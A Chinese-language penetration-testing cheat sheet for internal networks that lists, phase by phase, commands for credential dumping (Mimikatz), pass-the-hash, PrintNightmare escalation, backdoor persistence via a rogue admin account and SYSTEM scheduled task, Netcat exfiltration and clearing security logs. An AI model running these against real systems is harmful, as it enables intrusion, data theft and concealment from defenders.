内网渗透是指在企业或组织的内部网络中进行安全测试,以发现和利用网络中的安全漏洞。
以下是一些常见的内网渗透思路和方法,包含具体示例:
1. 信息收集
1.1 网络扫描
-
目的:识别内网中的活跃主机和开放端口。
-
工具:Nmap、Masscan
示例:
- 使用Nmap进行Ping扫描,识别活跃主机:
nmap -sP 192.168.1.0/24
- 使用Nmap进行端口扫描和服务版本探测:
nmap -sV 192.168.1.100
- 使用Nmap进行Ping扫描,识别活跃主机:
1.2 服务枚举
-
目的:识别具体服务及其版本,以便寻找潜在漏洞。
-
工具:Nmap、Netcat、Telnet
示例:
- 使用Nmap进行详细的服务版本探测:
nmap -sV -p 80,443,445 192.168.1.100
- 使用Nmap进行详细的服务版本探测:
1.3 DNS枚举
-
目的:通过DNS枚举了解内部域名和子域名结构。
-
工具:dnsenum、Fierce、dnsrecon
示例:
- 使用dnsenum进行DNS枚举:
dnsenum --enum example.local
- 使用dnsenum进行DNS枚举:
2. 主机发现和漏洞利用
2.1 漏洞扫描
-
目的:识别主机上的已知漏洞。
-
工具:Nessus、OpenVAS、Qualys
示例:
- 使用Nessus进行漏洞扫描:
nessus -q -x example_scan.xml 192.168.1.100
- 使用Nessus进行漏洞扫描:
2.2 利用已知漏洞
-
目的:利用已知漏洞获取目标主机的控制权。
-
工具:Metasploit、Exploit-db
示例:
- 使用Metasploit利用MS17-010漏洞(永恒之蓝)
3. 凭证收集和利用
3.1 SMB枚举
-
目的:通过SMB协议枚举共享资源和用户信息。
-
工具:Enum4linux、smbclient
示例:
- 使用Enum4linux枚举共享和用户信息:
enum4linux -a 192.168.1.100
- 使用Enum4linux枚举共享和用户信息:
3.2 密码抓取
-
目的:从内存中抓取明文凭证或哈希。
-
工具:Mimikatz、ProcDump
示例:
- 使用Mimikatz抓取明文密码:
privilege::debug sekurlsa::logonpasswords
- 使用Mimikatz抓取明文密码:
3.3 Pass-the-Hash攻击
-
目的:利用抓取的哈希进行Windows身份验证。
-
工具:Impacket、pth-winexe
示例:
- 使用Impacket执行Pass-the-Hash攻击:
wmiexec.py -hashes <NTLM_HASH> [email protected]
- 使用Impacket执行Pass-the-Hash攻击:
4. 权限提升
4.1 本地提权漏洞利用
-
目的:利用本地漏洞提升权限。
-
工具:Metasploit、Exploit-db
示例:
- 利用PrintNightmare漏洞提权:
use exploit/windows/local/printnightmare set SESSION 1 exploit
- 利用PrintNightmare漏洞提权:
4.2 权限提升脚本
-
目的:自动扫描和发现潜在的提权点。
-
工具:WinPEAS、LinPEAS
示例:
- 运行WinPEAS脚本:
winpeas.exe > output.txt
- 运行WinPEAS脚本:
5. 横向移动
5.1 使用RDP、WMI和WinRM
-
目的:通过这些协议连接到其他主机。
-
工具:CrackMapExec、Impacket
示例:
- 使用CrackMapExec进行横向移动:
crackmapexec smb 192.168.1.0/24 -u administrator -p password
- 使用CrackMapExec进行横向移动:
5.2 SSH横向移动
-
目的:利用现有的SSH凭证连接到其他Linux主机。
-
工具:SSH、Paramiko
示例:
- 利用SSH进行横向移动:
ssh [email protected]
- 利用SSH进行横向移动:
6. 持久化
6.1 创建新用户
-
目的:在目标系统中创建具有管理员权限的新用户。
-
工具:Windows命令、Linux命令
示例:
- 在Windows中创建新用户:
net user pentest Passw0rd! /add net localgroup administrators pentest /add
- 在Windows中创建新用户:
6.2 计划任务和服务
-
目的:利用计划任务或服务来保持持久化。
-
工具:Windows Task Scheduler、cron
示例:
- 在Windows中创建计划任务:
schtasks /create /tn "Persistence" /tr "C:\backdoor.exe" /sc onlogon /ru SYSTEM
- 在Windows中创建计划任务:
7. 数据收集和提取
7.1 文件搜集
-
目的:搜集敏感文件和信息,如密码文件、配置文件等。
-
工具:PowerShell、find、grep
示例:
- 使用PowerShell搜索含有密码的文件:
Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password"
- 使用PowerShell搜索含有密码的文件:
7.2 数据提取
-
目的:通过各种通道将数据提取到外部。
-
工具:Netcat、FTP、DNS隧道
示例:
- 使用Netcat传输数据:
nc -l -p 4444 > data.txt nc 192.168.1.100 4444 < data.txt
- 使用Netcat传输数据:
8. 痕迹清理
日志清理
-
目的:删除或篡改日志文件以隐藏入侵痕迹。
-
工具:PowerShell、Wevtutil、Clear-EventLog
示例:
- 使用PowerShell清理Windows事件日志:
wevtutil cl System wevtutil cl Security
- 使用PowerShell清理Windows事件日志: